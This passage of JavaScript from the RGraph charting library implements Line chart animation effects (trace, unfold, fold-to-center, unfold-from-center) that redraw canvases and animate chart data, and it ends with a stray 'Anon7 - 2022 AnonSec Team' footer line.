        /**
         * Make the second canvas
         */
        var id = '__rgraph_line_trace_animation_' + RG.random(0, 99999999) + '__';
        var canvas2 = doc.createElement('CANVAS');


        // Copy the 3D CSS transformation properties across from the original canvas
        var properties = ['WebkitTransform', 'MozTransform', 'OTransform', 'MSTransform', 'transform'];

        for (i in properties) {
            var name = properties[i];
            if (typeof obj.canvas.style[name] === 'string' && obj.canvas.style[name]) {
                canvas2.style[name] = obj.canvas.style[name];
            }
        }


        obj.canvas.__rgraph_line_canvas2__ = canvas2;
        canvas2.width = obj.canvas.width;
        canvas2.height = obj.canvas.height;
        canvas2.style.position = 'absolute';
        canvas2.style.left = 0;
        canvas2.style.top = 0;


        // This stops the clear effect clearing the canvas - which can happen if you have multiple canvas tags on the page all with
        // dynamic effects that do redrawing
        canvas2.noclear = true;

        canvas2.id = id;
        div.appendChild(canvas2);

        var reposition_canvas2 = function (e) {
            var xy = RG.getCanvasXY(obj.canvas);

            div.style.left = xy[0] + 'px';
            div.style.top = xy[1] + 'px';
        }
        window.addEventListener('resize', reposition_canvas2, false)

        /**
         * Make a copy of the original Line object
         */
        var obj2 = new RG.Line(id, RG.array_clone(obj.original_data));

        // Remove the new line from the ObjectRegistry so that it isn't redawn
        RG.ObjectRegistry.Remove(obj2);

        for (i in obj.properties) {
            if (typeof i === 'string') {
                obj2.Set(i, obj.properties[i]);
            }
        }

        //obj2.Set('chart.tooltips', null);
        obj2.Set('labels', []);
        obj2.Set('background.grid', false);
        obj2.Set('background.barcolor1', 'rgba(0,0,0,0)');
        obj2.Set('background.barcolor2', 'rgba(0,0,0,0)');
        obj2.Set('ylabels', false);
        obj2.Set('noaxes', true);
        obj2.Set('title', '');
        obj2.Set('title.xaxis', '');
        obj2.Set('title.yaxis', '');
        obj2.Set('filled.accumulative', obj.Get('chart.filled.accumulative'));
        obj.Set('key', []);
        obj2.Draw();

        obj.canvas.__rgraph_trace_obj2__ = obj2;


        /**
         * This effectively hides the line
         */
        obj.Set('line.visible', false);
        obj.Set('colors', ['rgba(0,0,0,0)']);
        if (obj.Get('filled')) {
            var original_fillstyle = obj.Get('chart.fillstyle');
            obj.Set('fillstyle', 'rgba(0,0,0,0)');
            obj.Set('animation.trace.original.fillstyle', original_fillstyle);
        }

        RG.clear(obj.canvas);
        //obj.Draw();
        RG.redrawCanvas(obj.canvas);

        /**
         * Place a DIV over the canvas to stop interaction with it
         */
        if (!obj.canvas.__rgraph_trace_cover__) {
            var div2 = doc.createElement('DIV');
            div2.id = '__rgraph_trace_animation_' + RG.random(0, 4351623) + '__';
            div2.style.left = xy[0] + 'px';
            div2.style.top = xy[1] + 'px';
            div2.style.width = obj.canvas.width + 'px';
            div2.style.height = obj.canvas.height + 'px';
            div2.style.position = 'absolute';
            div2.style.overflow = 'hidden';
            div2.style.backgroundColor = 'rgba(0,0,0,0)';
            div.div2 = div2;
            obj.canvas.__rgraph_trace_cover__ = div2;
            doc.body.appendChild(div2);
        } else {
            div2 = obj.canvas.__rgraph_trace_cover__;
        }


        /**
         * Get rid of the second canvas and turn the line back on
         * on the original.
         */
        trace_complete = function (obj) {
            var obj2 = obj.canvas.__rgraph_trace_obj2__;

            // Remove the window resize listener
            win.removeEventListener('resize', reposition_canvas2, false);

            div.style.display = 'none';
            div2.style.display = 'none';

            //div.removeChild(canvas2);
            obj.Set('line.visible', true);

            // Revert the filled status back to as it was
            obj.Set('filled', RGraph.array_clone(obj2.Get('chart.filled')));
            obj.Set('fillstyle', obj.Get('chart.animation.trace.original.fillstyle'));
            obj.Set('colors', RGraph.array_clone(obj2.Get('chart.colors')));
            obj.Set('key', RGraph.array_clone(obj2.Get('chart.key')));

            RGraph.RedrawCanvas(obj.canvas);

            obj.canvas.__rgraph_trace_div__.style.display = 'none';
            obj.canvas.__rgraph_line_canvas2__.style.display = 'none';
            obj.canvas.__rgraph_trace_cover__.style.display = 'none';
            obj.canvas.__rgraph_trace_div__ = null;
            obj.canvas.__rgraph_line_canvas2__ = null;
            obj.canvas.__rgraph_trace_cover__ = null;


            callback(obj);
        };


        /**
         * Animate the DIV that contains the canvas
         */
        jq('#' + div.id).animate({
            width: obj.canvas.width - obj.gutterRight + 'px'
        }, opt.duration, function () {
            trace_complete(obj)
        });

        return this;
    };


    /**
     * Unfold
     *
     * This effect gradually increases the X/Y coordinatesfrom 0
     *
     * @param object obj The chart object
     */
    this.unfold = function () {
        var obj = this;
        var opt = arguments[0] ? arguments[0] : {};
        var frames = opt.frames ? opt.frames : 30;
        var frame = 0;
        var callback = arguments[1] ? arguments[1] : function () {
        };
        var initial = prop['chart.animation.unfold.initial'];

        prop['chart.animation.factor'] = prop['chart.animation.unfold.initial'];

        function iterator() {
            prop['chart.animation.factor'] = ((1 - initial) * (frame / frames)) + initial;

            RG.clear(obj.canvas);
            RG.redrawCanvas(obj.canvas);

            if (frame < frames) {
                frame++;
                RG.Effects.updateCanvas(iterator);
            } else {
                callback(obj);
            }
        }


        iterator();

        return this;
    };


    /**
     * Trace2
     *
     * This is a new version of the Trace effect which no longer requires jQuery and is more compatible
     * with other effects (eg Expand). This new effect is considerably simpler and less code.
     *
     * @param object     Options for the effect. Currently only "frames" is available.
     * @param int        A function that is called when the ffect is complete
     */
    this.trace2 = function () {
        var obj = this;
        var callback = arguments[2];
        var opt = arguments[0] || {};
        var frames = opt.frames || 30;
        var frame = 0;
        var callback = arguments[1] || function () {
            };

        obj.Set('animation.trace.clip', 0);

        function iterator() {
            RG.clear(obj.canvas);
            RG.redrawCanvas(obj.canvas);

            if (frame++ < frames) {
                obj.Set('animation.trace.clip', frame / frames);
                RG.Effects.updateCanvas(iterator);
            } else {
                callback(obj);
            }
        }

        iterator();

        return this;
    };


    /**
     * FoldToCenter
     *
     * Line chart  FoldTocenter
     *
     * @param object   OPTIONAL An object map of options
     * @param function OPTIONAL A callback to run when the effect is complete
     */
    this.foldtocenter =
        this.foldToCenter = function () {
            var obj = this;
            var opt = arguments[0] || {};
            var frames = opt.frames || 30;
            var frame = 0;
            var callback = arguments[1] || function () {
                };
            var center_value = obj.scale2.max / 2;

            obj.Set('chart.ymax', obj.scale2.max);

            var original_data = RG.array_clone(obj.original_data);

            function iterator() {
                for (var i = 0, len = obj.data.length; i < len; ++i) {
                    if (obj.data[i].length) {
                        for (var j = 0, len2 = obj.data[i].length; j < len2; ++j) {

                            var dataset = obj.original_data[i];

                            if (dataset[j] > center_value) {
                                dataset[j] = original_data[i][j] - ((original_data[i][j] - center_value) * (frame / frames));
                            } else {
                                dataset[j] = original_data[i][j] + (((center_value - original_data[i][j]) / frames) * frame);
                            }
                        }
                    }
                }

                RG.clear(obj.canvas);
                RG.redrawCanvas(obj.canvas)

                if (frame++ < frames) {
                    RG.Effects.updateCanvas(iterator);
                } else {
                    callback(obj);
                }
            }


            iterator();


            return this;
        };


    /**
     * UnfoldFromCenterTrace effect
     *
     * @param object   An object containing options
     * @param function A callback function
     */
    this.unfoldFromCenterTrace =
        this.unfoldFromCenterTrace2 = function () {
            var obj = this;
            var opt = arguments[0] || {};
            var frames = opt.frames || 30;
            var frame = 0;
            var data = RG.array_clone(obj.original_data);
            var callback = arguments[1] || function () {
                };


            // Draw the chart once to get the scale values
            obj.canvas.style.visibility = 'hidden';
            obj.Draw();
            var max = obj.scale2.max;
            RG.clear(obj.canvas);
            obj.canvas.style.visibility = 'visible';


            /**
             * When the Trace function finishes it calls this function
             */
            var unfoldCallback = function () {
                obj.original_data = data;
                obj.unfoldFromCenter({frames: frames / 2}, callback);
            };


            /**
             * Determine the mid-point
             */
            var half = obj.Get('chart.xaxispos') == 'center' ? obj.min : ((obj.max - obj.min) / 2) + obj.min;
            obj.Set('chart.ymax', obj.max);

            for (var i = 0, len = obj.original_data.length; i < len; ++i) {
                for (var j = 0; j < obj.original_data[i].length; ++j) {
                    obj.original_data[i][j] = (obj.Get('chart.filled') && obj.Get('chart.filled.accumulative') && i > 0) ? 0 : half;
                }
            }

            RG.clear(obj.canvas);
            obj.trace2({frames: frames / 2}, unfoldCallback);
        };


    /**
     * UnfoldFromCenter
     *
     * Line chart  unfold from center
     *
     * @param object An option map of properties. Only frames is supported: {frames: 30}
     * @param function An optional callback
     */
    this.unfoldFromCenter = function () {
        var obj = this;
        var opt = arguments[0] || {};
        var frames = opt.frames || 30;
        var frame = 0;
        var callback = arguments[1] || function () {
            };

        // Draw the chart once to get the scale values
        obj.canvas.style.visibility = 'hidden';
        obj.Draw();
        var max = obj.scale2.max;
        RG.clear(obj.canvas);
        obj.canvas.style.visibility = 'visible';

        var center_value = obj.Get('chart.xaxispos') === 'center' ? prop['chart.ymin'] : ((obj.max - obj.min) / 2) + obj.min;
        var original_data = RG.array_clone(obj.original_data);
        var steps = null;

        obj.Set('chart.ymax', max);

        if (!steps) {

            steps = [];

            for (var dataset = 0, len = original_data.length; dataset < len; ++dataset) {

                steps[dataset] = []

                for (var i = 0, len2 = original_data[dataset].length; i < len2; ++i) {
                    if (prop['chart.filled'] && prop['chart.filled.accumulative'] && dataset > 0) {
                        steps[dataset][i] = original_data[dataset][i] / frames;
                        obj.original_data[dataset][i] = center_value;
                    } else {
                        steps[dataset][i] = (original_data[dataset][i] - center_value) / frames;
                        obj.original_data[dataset][i] = center_value;
                    }
                }
            }
        }

        function unfoldFromCenter() {
            for (var dataset = 0; dataset < original_data.length; ++dataset) {
                for (var i = 0; i < original_data[dataset].length; ++i) {
                    obj.original_data[dataset][i] += steps[dataset][i];
                }
            }

            RG.clear(obj.canvas);
            RG.redrawCanvas(obj.canvas);

            if (--frames > 0) {
                RG.Effects.updateCanvas(unfoldFromCenter);
            } else {
                obj.original_data = RG.array_clone(original_data);
                RG.clear(obj.canvas);
                RG.redrawCanvas(obj.canvas);

                callback(obj);
            }
        }

        unfoldFromCenter();

        return this;
    };


    /**
     * Register the object so it is redrawn when necessary
     */
    RG.Register(this);


    /**
     * This is the 'end' of the constructor so if the first argument
     * contains configuration data - handle that.
     */
    if (parseConfObjectForOptions) {
        RG.parseObjectStyleConfig(this, conf.options);
    }
};

Anon7 - 2022
AnonSec Team